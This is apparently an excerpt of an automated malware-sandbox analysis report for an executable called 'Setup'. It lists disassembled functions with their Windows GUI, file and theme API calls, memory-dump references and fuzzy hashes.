Opcode Fuzzy Hash: 917800ecb1dae93445816a0bbe5998f837a378d6d752054747f6a02267903e1f
Instruction Fuzzy Hash: 00114F71701359ABEF14AB959C49FBE77B9EB45701F04002AFA05DB2A0DB70E901DB21

Function 00B70AC5 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 00B70B0C
SetActiveWindow.USER32(?), ref: 00B70B17
SendMessageW.USER32(?,00000112,?,?), ref: 00B70B31
IsWindow.USER32(?), ref: 00B70B38
SetActiveWindow.USER32(?), ref: 00B70B43
IsWindow.USER32(00000000), ref: 00B70B4A
SetFocus.USER32(00000000), ref: 00B70B55

Strings

u, xrefs: 00B70B5E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$ActiveFocus$MessageSend
String ID: u
API String ID: 1556911595-4067256894
Opcode ID: 81bc88fd5e6bfaf4cc3151d4bf31e2f6ed7739dd988f854bf1457ad3abc3678c
Instruction ID: d3fcb3ad7b040dbea3fa31201733b53006819432ded3da450ca82ab103b4eaaa
Opcode Fuzzy Hash: 81bc88fd5e6bfaf4cc3151d4bf31e2f6ed7739dd988f854bf1457ad3abc3678c
Instruction Fuzzy Hash: 33119032221204EBDB213F78DC88B7E37E8FB04359B04C5A7FA29C62A5D674CB019751

Function 00B6F16F Relevance: 14.0, APIs: 9, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecbc38eaabeb8fca6c743fab55b6677efff77240f5d5131a55387842e29f2c2
Instruction ID: 9355beed34c4927e93483b7c3eee8533e2d309cec6dc35d5f6e45177a0c90f96
Opcode Fuzzy Hash: eecbc38eaabeb8fca6c743fab55b6677efff77240f5d5131a55387842e29f2c2
Instruction Fuzzy Hash: 1F028E35901616EFCB05DFA8E8D49AEBBB6FF49310B1081A9F911AB311D734AD81CF90

Function 00B9F4C1 Relevance: 13.9, APIs: 9, Instructions: 352timewindowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B9F4C8
SetCursor.USER32(?,00000044,00B9F34B), ref: 00B9F561

Part of subcall function 00B6BCFC: __EH_prolog3.LIBCMT ref: 00B6BD03
Part of subcall function 00B6BCFC: GetDC.USER32(00000000), ref: 00B6BD2F

Part of subcall function 00B8A4A5: __EH_prolog3_GS.LIBCMT ref: 00B8A4AC
Part of subcall function 00B8A4A5: CreateRectRgnIndirect.GDI32(?), ref: 00B8A4E6
Part of subcall function 00B8A4A5: CopyRect.USER32(?,?), ref: 00B8A4FA
Part of subcall function 00B8A4A5: InflateRect.USER32(?,?,?), ref: 00B8A510
Part of subcall function 00B8A4A5: IntersectRect.USER32(?,?,?), ref: 00B8A51C
Part of subcall function 00B8A4A5: CreateRectRgnIndirect.GDI32(?), ref: 00B8A526
Part of subcall function 00B8A4A5: CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00B8A53B
Part of subcall function 00B8A4A5: CombineRgn.GDI32(?,?,?,00000003), ref: 00B8A555
Part of subcall function 00B8A4A5: CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00B8A5A0
Part of subcall function 00B8A4A5: SetRectRgn.GDI32(?,?,?,?,?), ref: 00B8A5BD

Part of subcall function 00B6BE64: ReleaseDC.USER32(?,00000000), ref: 00B6BE98

GetFocus.USER32 ref: 00B9F5F8
SetTimer.USER32(?,0000EC07,000001F4,00000000), ref: 00B9F6E3
TrackMouseEvent.USER32(?,?,00000000), ref: 00B9F71A
SendMessageW.USER32(?,00000362,0000E001,00000000), ref: 00B9F79D
KillTimer.USER32(?,0000EC07), ref: 00B9F8F7
SetTimer.USER32(?,0000EC07,000001F4,00000000), ref: 00B9F913
UpdateWindow.USER32(?), ref: 00B9F93D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Create$Timer$H_prolog3_Indirect$CombineCopyCursorEventFocusH_prolog3InflateIntersectKillMessageMouseReleaseSendTrackUpdateWindow
String ID:
API String ID: 1167864355-0
Opcode ID: 5b2add4e88d8d9750d19fb3625b53efd81a1cf4c18154ac47dfd6b0f7aa71171
Instruction ID: 360f8b7618b2c3cedc67a06bcf1923778c48001250a5261a9828275841d36b96
Opcode Fuzzy Hash: 5b2add4e88d8d9750d19fb3625b53efd81a1cf4c18154ac47dfd6b0f7aa71171
Instruction Fuzzy Hash: 54D15C31600612AFCF159F64C894BBD7BE5EF44334F1542BAEC299B2A6CB709D41CB61

Function 00BE9A38 Relevance: 13.7, APIs: 9, Instructions: 201fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BE9A42
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,00000A38,00BEAA37,?,00000000,00000038,00BE99AC,?,?,00000000,00B897C4,?), ref: 00BE9AD8
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000A38,00BEAA37,?,00000000,00000038,00BE99AC), ref: 00BE9B87
GetFileSize.KERNEL32(00000000,00000000,?,?,00000000,00B897C4), ref: 00BE9B97

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: File$CreateH_prolog3_ModuleNameSize
String ID:
API String ID: 3381844309-0
Opcode ID: 643616cc7183e43754905574ca1fec95db3c6aedc2eaf7d690c6465c03602cf6
Instruction ID: d936a36b7405622c4b9f039bc95092dc7270ac513598e60e4fd019f55eec888c
Opcode Fuzzy Hash: 643616cc7183e43754905574ca1fec95db3c6aedc2eaf7d690c6465c03602cf6
Instruction Fuzzy Hash: 9D61E472900554AACB20AF35DC89FEE73FCEF86710F1002E9F519A6192DB749E85CB61

Function 00B8F8F9 Relevance: 13.7, APIs: 9, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7818C: GetFocus.USER32 ref: 00B78190
Part of subcall function 00B7818C: GetParent.USER32(00000000), ref: 00B781B1
Part of subcall function 00B7818C: GetWindowLongW.USER32(?,000000F0), ref: 00B781D0
Part of subcall function 00B7818C: GetParent.USER32(?), ref: 00B781DE
Part of subcall function 00B7818C: GetDesktopWindow.USER32 ref: 00B781E6
Part of subcall function 00B7818C: SendMessageW.USER32(00000000,0000014F,00000000,00000000), ref: 00B781FA

GetMenu.USER32(?), ref: 00B8F97A
GetMenuItemCount.USER32(?), ref: 00B8F9B8
GetSubMenu.USER32(?,00000000), ref: 00B8F9CE
GetMenuItemCount.USER32(?), ref: 00B8F9F3
GetMenuItemID.USER32(?,00000000), ref: 00B8FA0D
GetSubMenu.USER32(?,?), ref: 00B8FA29
GetMenuItemID.USER32(?,00000000), ref: 00B8FA41
GetMenuItemCount.USER32(?), ref: 00B8FA62
GetMenuItemID.USER32(?,?), ref: 00B8FA98

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Menu$Item$Count$ParentWindow$DesktopFocusLongMessageSend
String ID:
API String ID: 4186786570-0
Opcode ID: 6cdfb2bfaa542b649c6086d5682a28ecccb509605f86593ef4e7d58ffdf7a114
Instruction ID: c83632e794e2947400d107db513936c1ce5a8ce9a5ea757b51e430bcf1e62fa4
Opcode Fuzzy Hash: 6cdfb2bfaa542b649c6086d5682a28ecccb509605f86593ef4e7d58ffdf7a114
Instruction Fuzzy Hash: C2612CB1A00616EFDB15AF64C984BBDBBF5FF44320F1482B6E819A7260DB70D941CB91

Function 00B9AE9B Relevance: 13.6, APIs: 9, Instructions: 135windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,0000420F,00000001), ref: 00B9AEF8
EnableMenuItem.USER32(?,0000420E,00000001), ref: 00B9AF13
CheckMenuItem.USER32(?,00004213,00000008), ref: 00B9AF47
EnableMenuItem.USER32(?,00004212,00000001), ref: 00B9AF61
EnableMenuItem.USER32(?,00004212,00000001), ref: 00B9AF90
EnableMenuItem.USER32(?,00004213,00000001), ref: 00B9AF9F
EnableMenuItem.USER32(?,00004214,00000001), ref: 00B9AFAE
EnableMenuItem.USER32(?,00004215,00000001), ref: 00B9AFFE
CheckMenuItem.USER32(?,00004215,00000008), ref: 00B9B016

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ItemMenu$Enable$Check
String ID:
API String ID: 1852492618-0
Opcode ID: a3af0f1c0684be8a6f74c97c2f28db283ddb3b8ea5e300f7a2099c01c548d9c4
Instruction ID: 341b1b4ccc6179f37e2e2628dbfa8d8e5b664a2eb6056b6ad85bb104faafdeba
Opcode Fuzzy Hash: a3af0f1c0684be8a6f74c97c2f28db283ddb3b8ea5e300f7a2099c01c548d9c4
Instruction Fuzzy Hash: C8418BB0641614FBDF218F10CE85BA9BBE1FB14B10F1481AAF905EA1A5D770DD80CBD2

Function 00C9F6F5 Relevance: 13.6, APIs: 9, Instructions: 128COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00C9F6FC
EqualRect.USER32(?,?), ref: 00C9F718
EqualRect.USER32(?,?), ref: 00C9F72D
CreateRectRgn.GDI32(00000000,00000000,?,?), ref: 00C9F782
CreateRectRgn.GDI32(?,00000000,?,?), ref: 00C9F7B6
CreateRectRgnIndirect.GDI32(?), ref: 00C9F7C2
CombineRgn.GDI32(?,?,?,00000002), ref: 00C9F7DC
SetWindowRgn.USER32(?,?,00000000), ref: 00C9F7E9
RedrawWindow.USER32(?,00000000,00000000,00000105,00D2C588,?,?,?,?,00000058), ref: 00C9F865

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Create$EqualWindow$CombineH_prolog3IndirectRedraw
String ID:
API String ID: 1583790776-0
Opcode ID: c2b4e0cb7f6441dcdd37c886a7228e898b4005a721fbfe2896e48908a7542f33
Instruction ID: e3b28d284cad8b1da2ad3e872130ea27eb09a0f5a2ac222f4851ddf663eb21a8
Opcode Fuzzy Hash: c2b4e0cb7f6441dcdd37c886a7228e898b4005a721fbfe2896e48908a7542f33
Instruction Fuzzy Hash: 5451087150010AAFCF01DFA4CD89BEF7BB5BF05300F148169BD19AA255CB70AA56CBA1

Function 00B7014C Relevance: 13.6, APIs: 9, Instructions: 121windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B70156
SendMessageW.USER32(00000000,00000000,00000000,00000080), ref: 00B7019C
SendMessageW.USER32(00000000,00000000,00000000,?), ref: 00B701C8
ValidateRect.USER32(?,00000000), ref: 00B701D7

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MessageSend$H_prolog3_RectValidate
String ID:
API String ID: 3261311288-0
Opcode ID: 4f0f6ed6727fc0deae7d283a05b35f4128b5cf266300ede77186153b8d03fa91
Instruction ID: 40ce909eb6768d80514c2e98a2a6a4123210fbc368adc419317334a9eb847c2e
Opcode Fuzzy Hash: 4f0f6ed6727fc0deae7d283a05b35f4128b5cf266300ede77186153b8d03fa91
Instruction Fuzzy Hash: 72413C71911745EBCF21AF60DC85AAEBBF6FF48300F1085AEF16AA2661DB319940DF10

Function 00B8CEC2 Relevance: 13.6, APIs: 9, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00B8CEDC
GetWindowLongW.USER32(00000000,000000F0), ref: 00B8CEEB
IsWindowEnabled.USER32(00000000), ref: 00B8CEF9
GetDlgItem.USER32(?), ref: 00B8CF0F
GetWindowLongW.USER32(00000000,000000F0), ref: 00B8CF1A
IsWindowEnabled.USER32(00000000), ref: 00B8CF28
GetFocus.USER32 ref: 00B8CF46
IsWindowEnabled.USER32(00000000), ref: 00B8CF4D
SetFocus.USER32(00000000), ref: 00B8CF58

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Enabled$FocusItemLong
String ID:
API String ID: 1558694495-0
Opcode ID: 3d076917a79ce4d3b369a232c7e8b54f42a67e74b29a0c5b2ef782a15daf185a
Instruction ID: 83048f296f4b235883c27aa7b43ece2ce1c5d8b16546f7c5c3bf0f09a3d8e670
Opcode Fuzzy Hash: 3d076917a79ce4d3b369a232c7e8b54f42a67e74b29a0c5b2ef782a15daf185a
Instruction Fuzzy Hash: 8411EB752051117BEB126F75DC4CB6DBFAAFF54761F000166FA05912B0DB35CA06CBA1

Function 00B71395 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 219libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll), ref: 00B713B8

Part of subcall function 00B68B3E: __CxxThrowException@8.LIBVCRUNTIME ref: 00B68B52

GetProcAddress.KERNEL32(00000000,GetGestureInfo), ref: 00B713ED
GetProcAddress.KERNEL32(00000000,CloseGestureInfoHandle), ref: 00B71415
ScreenToClient.USER32(?,?), ref: 00B714A1

Strings

CloseGestureInfoHandle, xrefs: 00B71407
GetGestureInfo, xrefs: 00B713DF
user32.dll, xrefs: 00B713AE

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressProc$ClientException@8HandleModuleScreenThrow
String ID: CloseGestureInfoHandle$GetGestureInfo$user32.dll
API String ID: 2384296010-2905070798
Opcode ID: c65d9a78fdf20c13d28aa4ab9ef946b679c2f99c7103efb3ca1d30f1b89ef467
Instruction ID: ba776747d49733ebd03b26b80316aaea3aafdf027fc012892691fa36531744a5
Opcode Fuzzy Hash: c65d9a78fdf20c13d28aa4ab9ef946b679c2f99c7103efb3ca1d30f1b89ef467
Instruction Fuzzy Hash: 36818A71A00615AFCB14DF6CD894A6DBBF0FB18310B1485AAE81AD7760D771EE21DFA0

Function 00C9C095 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00C9C09C
IsAppThemed.UXTHEME(0000003C,00C9C219,?), ref: 00C9C0DE
OpenThemeData.UXTHEME(?,Button), ref: 00C9C109
GetThemePartSize.UXTHEME(?,00000005,00000003,00000005,00000000,00000001,00000000,00000000,00000000), ref: 00C9C150
CloseThemeData.UXTHEME(?,?), ref: 00C9C171
GetObjectW.GDI32(?,00000018,?), ref: 00C9C19A

Strings

Button, xrefs: 00C9C103

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Theme$Data$CloseH_prolog3ObjectOpenPartSizeThemed
String ID: Button
